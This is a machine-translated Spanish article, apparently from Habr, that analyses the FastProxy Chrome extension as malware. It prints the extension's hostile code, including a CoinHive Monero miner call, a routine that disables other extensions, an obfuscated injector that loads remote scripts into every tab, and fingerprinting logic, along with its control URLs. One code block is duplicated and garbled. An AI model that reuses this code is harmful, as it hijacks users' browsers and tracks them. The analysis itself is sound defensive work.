"Virus" en extensiones usando FastProxy como ejemplo

En este artículo, mostraré cuán peligrosas pueden ser las extensiones en Chrome y cómo
Las extensiones de Firefox son más seguras.


Se trata de expandir FastProxy.
En ningún caso, no lo pongas en su forma pura en cromo.


Para obtener su código fuente, primero debe instalar otra extensión del visor de fuente de extensión de Chrome .


Después de eso, abra la página .


El icono CRX se volverá amarillo: haga clic en él y seleccione "descargar como zip".


Ahora al análisis del código.


1. Manifiesto (manifest.json): el núcleo de cualquier extensión


Las restricciones de extensión están establecidas por CSP (política de seguridad de contenido) y los permisos:


"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com ; object-src 'self'",
"permisos": ["proxy", "pestañas", "webRequest", "webRequestBlocking", "administración", "\ u003Call_urls>", "almacenamiento"],

CSP debe alertar de inmediato, permite una evaluación insegura (más sobre esto aquí ).
Es decir ejecutar código desde cualquier cadena pasada.


  • management permiso de management le permite administrar otras extensiones.
  • El permiso webRequestBlocking permite sustituir absolutamente todas las solicitudes que pasan por el navegador.
  • El permiso \u003Call_urls> es el mismo que <all_urls> : te permite actuar en cualquier sitio.

Obtenga más información sobre los permisos aquí .


Es decir basado en un solo archivo de manifiesto, la extensión ya tiene un gran nivel de acceso a todo.


Los archivos de códigos clave se enumeran en


"fondo": {
"scripts": ["lib.js", "jquery.min.js", "background.js", "ga.js"]
},

Se ejecutan en orden en la matriz inmediatamente después de instalar la extensión o inmediatamente después de iniciar el navegador.




2. Análisis de archivos de proceso en segundo plano.


El código se minimiza y se confunde. Para desentrañar, utilizaremos el sitio http://jsbeautifier.org/ con la configuración predeterminada.


  • Comparé el archivo jquery.min.js con el código original jquery 2.2.4: coinciden.
  • El archivo ga.js es simplemente un código de Google Analytics.
  • El archivo lib.js es CryptoJS.
  • El código principal se concentra en background.js.

Para que sea mucho más fácil leer el código, lo reescribí un poco (funciones renombradas, comas cambiadas a bloques separados, etc.).
También puede usar la versión de Firefox de la misma extensión para comprender la parte no central del código.
El uso de proxy en Firefox y Chrome es fundamentalmente diferente.


Para descargar la versión de Firefox de la extensión, debe abrir el enlace en Firefox.
Copie el enlace a "Agregar a Firefox" y ábralo en Chrome.
Abrir como un archivo zip.


El código reescrito se puede encontrar en este enlace .




3. Análisis de background.js


En primer lugar, debe comprender que $.ajax ejecutado en el archivo de script incorpora este script en la página (en este caso, no en la página, sino en el proceso en segundo plano).


Guardado por la línea


 localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] ); 

Ya nos están diciendo que el asunto no está limpio.


Agregue CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") después de CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") y CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record") , prohibiendo la ejecución del ajax mismo.


Al mismo tiempo, en la línea JSON.parse( localStorage.C)[cc] (y similar para el registro) cc cambiamos de 0 a 1 (en adelante a 2, cuando vemos matrices de 3 elementos).


Obtenemos los enlaces:
para esta configuración


http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)

para grabar esto


http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)

Además, los enlaces proporcionan datos solo cuando se usan uid y version con ambos parámetros, y también solo a través de $ .ajax o fetch. Ver simplemente abrir a través del navegador no funciona, aparentemente hay controles para los encabezados entrantes.


Ahora pasemos a lo que están dando estos ajax. Si desea leerlos usted mismo, es mejor usar fetch en algún otro proyecto (necesitará instalar extensiones que desbloqueen CORS en el navegador).


config_proxyrus.ru.js


Entonces, el primer enlace nos da un script que se incrustará automáticamente en el proceso en segundo plano, porque 'inseguro-eval' está presente, pero no hay restricciones de enlace en CSP.


Vale la pena señalar la línea


 function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\">   .<br><br>  .</center>'",runAt:"document_start"}); } 

Conducimos en la búsqueda de "anti-prohibición fastproxy" y abrimos el cuarto resultado de búsqueda , la sección "Tenga cuidado".
Resulta que FastProxy no usa sus propios servidores proxy.


config_proxy-fast.ru.js


El segundo enlace da un código similar al primero, ¡pero el script ya es diferente!


 function closeWindow () { const time = 500; //    setInterval(function() { //     chrome.tabs.getSelected(null, function (details) { //     id -  if (details.id == -1) window.close(); }) }, time); } closeWindow(); 

Por lo general, todas las pestañas tienen id. Una excepción es la ventana de la pestaña de la consola del navegador. Es decir Esta es una protección contra el espionaje a través de la consola.


Este archivo también contiene nuevas URL, descifrarlas usando CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8) y CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8) .
Los primeros 2 enlaces son los mismos que los anteriores. Pero el tercero es diferente:


http://fastproxy.ga/proxy/config/config.txt

Para 'grabar' los 3 enlaces son nuevos.


http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt

config_fastproxy.ga.js


De hecho, no es diferente de config_proxy-fast.ru.js


Volver a config_proxyrus.ru.js


El código también contiene el cierre de la consola. Entonces comienza la diversión.


Cadena


 var ext_id = chrome.app.getDetails().id; 

obtiene el identificador de la extensión, y esta es una característica no documentada.
La documentación actual utiliza un método diferente.
Luego viene el tenedor:


 if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0 ="]); if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } 

Los mismos tres enlaces si ext_id no se ext_id en la lista de extensiones deseada.
Y un nuevo enlace, si cae en la lista de extensiones + reinicio completo de la extensión.


Si alguien puede encontrar cuáles eran estas extensiones, escriba los comentarios. No hay coincidencias con la identificación actual de FastProxy. Buscar en la tienda de Google no da nada por sus identificadores.


Explicación de enlaces


 localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); 

da


http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
que se puede abrir directamente en el navegador.

config_prowebdom.ru.js


Cerrando la consola nuevamente. Y luego lo más interesante.


 var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); }) 

^ Lanzamiento del minero Monero. Por cierto, recuerda la billetera, si ves algo similar en el código, estas son las mismas personas.


 function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions(); 

Este código deshabilita todas las extensiones, excepto a sí mismo.
Si no hubiera permiso de la gerencia, esto no sería posible.


Siguiente


 chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch); 

y


 function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { //             chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } } 

tabs.onUpdated inicia una devolución de llamada al actualizar una de las etapas de cargar una pestaña a otra. Más detalles aquí.
En pocas palabras, afecta a todas las pestañas.


 if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') 

Excepto FastProxy en sí. Aparentemente hubo una serie de varias extensiones que funcionaron como virus.


 if (tab.url.indexOf('google') == -1) { 

Todas las URL excepto las que contienen cadenas de google. Aparentemente porque las pestañas con Google son temporales. La verdadera razón no está clara para mí.


Y lo peor es que se implementa un script en cada pestaña después de que la página se carga por completo en esta pestaña:


script1.js


Ejecútelo a través del embellecedor JS.


script2.js


Los juegos de personajes se pueden omitir gracias a console.log.
Lo más peligroso comienza donde se crea la etiqueta del script.
var l = document.createElement ('script');


Lo que más me interesa es su innerHTML o src.


 l.setAttribute('src', document.location.protocol + '//' + h) 

La parte izquierda está clara: el protocolo de la página actual. La parte correcta es el enlace real. Ponga console.log allí


Nosotros obtenemos


zry4bsop.ru/d6safundjenk6af/30022_0.js

script3.js


Del mismo modo, ejecute el embellecedor JS


script4.js


El principio del archivo es el mismo: la parte más peligrosa es agregar un script.


 var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t); 

Nosotros obtenemos


zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
si se ejecuta en MDN

En productforums.google.com lo mismo


zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js

Resulta que el lado derecho está unido a algo


Nos fijamos en el código


 document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2] 

mencionado en la función de auto invocación f
entonces f se menciona en


 var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js"; 

Es decir a través de operaciones simbólicas, la URL visitada se pasa al script.
Observamos el código del script en sí, coinciden.


script5.js


Ejecútelo nuevamente a través del embellecedor JS.


script6.js


Sin reescribir el código, puede mirar agregar nodos, crear scripts, reemplazar cookies,
creando elementos desde cero, ajax. Pero es bastante difícil entender lo que realmente está sucediendo.
Intente cambiar el nombre de estas funciones numeradas.


script7.js


Desentrañar este archivo fue difícil. Lo más difícil es pasar por la creación constante de objetos que crean objetos que crean objetos ... También fue difícil encontrar funciones puras para comenzar a desentrañar el enredo.


No pude desentrañar completamente el código. Pero lo que se desenreda da lo siguiente:


Ensamblar una huella digital completa sobre un usuario, que luego se convierte en una cadena única a través de una serie de operaciones de bits.
Esta impresión incluye:


  • Useragent
  • Información sobre complementos instalados (especialmente para IE). Especialmente digno de mención aquí es la línea Palemoon. El hecho es que Palemoon te permite usar Java.
  • Información sobre el procesador utilizado
  • Información sobre las fuentes instaladas (función getFontData). Además, el código proporciona la capacidad de usar una lista extendida de fuentes, además de la del sistema. Pero solo se usa el sistema
  • Impresión de lienzo única (función get2dCanvasFingerprint). Dado que utiliza varios caracteres no estándar, se verifica la presencia de idiomas instalados en el sistema.
  • Huella digital única de webgl (función getWebglFingerprint)
  • Comprobación de la falsedad de los datos proporcionados por el navegador (función hasFalseBrowser). Especialmente a este respecto, el uso de eval.toString () es interesante para entender qué tipo de navegador se usa realmente. Nunca lo habría adivinado.

Hay una función que ejecuta XMLHttpRequest. Pero no se usa en el código y no se inicia cuando se inicia el script.


Hay una función que incrusta un flash en la página, pero de hecho no se usa.


Eche un vistazo a los códigos de colección de huellas digitales canvas / webgl


Hay una incrustación de un iframe en la página (método appendBadIframe1).
Ahora veamos qué hay en este iframe.


iframe1


Ejecute el embellecedor JS.


iframe2


Según el código, este es un intercambiador de información con el script principal. Si el script principal es para la mayoría de las operaciones de bit, entonces se ejecuta un marco electrónico a través de las propiedades calculadas de los objetos. Usando window.postMessage intercambian mensajes entre ellos.


Volver a script7.js


La ejecución del archivo crea 6 solicitudes XHR (y mediante la creación de Img), y cuando hace clic en la página, se abre una nueva ventana.
Los enlaces descifrados para las solicitudes se pueden encontrar en el código.


Regresar a la extensión


Volver a la extensión y grabar enlaces. Estos enlaces se utilizan como un archivo .pac para el método chrome.proxy.settings.set .
Los códigos de archivo se pueden encontrar aquí:


https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js

La esencia general de los archivos es colgar dominios a través de servidores proxy bloqueados e ip a través de un proxy, y en otro DIRECTO, es decir acceso sin proxy.
El conjunto de servidores y el conjunto de dominios bloqueados / ip difieren.
Averigüemos qué servidores además de Auto-Lock (antizapret.prostovpn.org) usan FastProxy.
Conducimos postls.com a la búsqueda. Abre el primer enlace.


Para bloquear la extensión Browsec, deberá crear una regla VPM que bloqueará la URL de destino IP / nombre de host
browsec.com
postlm.com
postls.com

Es decir FastProxy utiliza servidores Anti-Ban y Browsec sin sus propios servidores.




4. Sobre el potencial de expansión


Usando el permiso webrequest + webrequestBlocking, puede cambiar absolutamente cualquier solicitud, incluidas las solicitudes internas dentro del propio Chrome.
Es decir puede cambiar completamente las páginas HTML, puede eliminar los encabezados interferentes en las solicitudes, incluida la CSP (política de seguridad de contenido) del sitio.
Usando su proxy, puede fusionar todo el tráfico de usuarios que pasa por su proxy.




5. Sobre la política de extensiones Google y Mozilla


La política de Google es mucho más suave que la política de Mozilla, publican casi todo.
Mozilla tiene requisitos estrictos: se prohíbe la evaluación insegura, se prohíbe la ofuscación de código (se permite si proporciona un recopilador completo).
Mozilla también analiza periódicamente los códigos de extensión, pero no inmediatamente después de la publicación.
Se pueden leer más detalles aquí y aquí .
Por esta razón, la instalación de nuevas extensiones de Firefox es mucho más tranquila que las extensiones de Chrome.




6. Qué hay de nuevo en el código:


El navegador proporciona una cantidad irreal de datos únicos sobre el navegador de lo que era en el pasado. Y lo más probable es que dé aún más en el futuro.


eval.toString, así como otras funciones nativas, le permitirán calcular la versión real del navegador.


Impresión única en lienzo y webgl.




7. Preguntas a los lectores.


Si alguien trabajó con webgl, díganos qué hace la función getWebglFingerprint. ¿Y qué resulta único allí?




Todas las fuentes se pueden encontrar aquí.

Source: https://habr.com/ru/post/es421735/


All Articles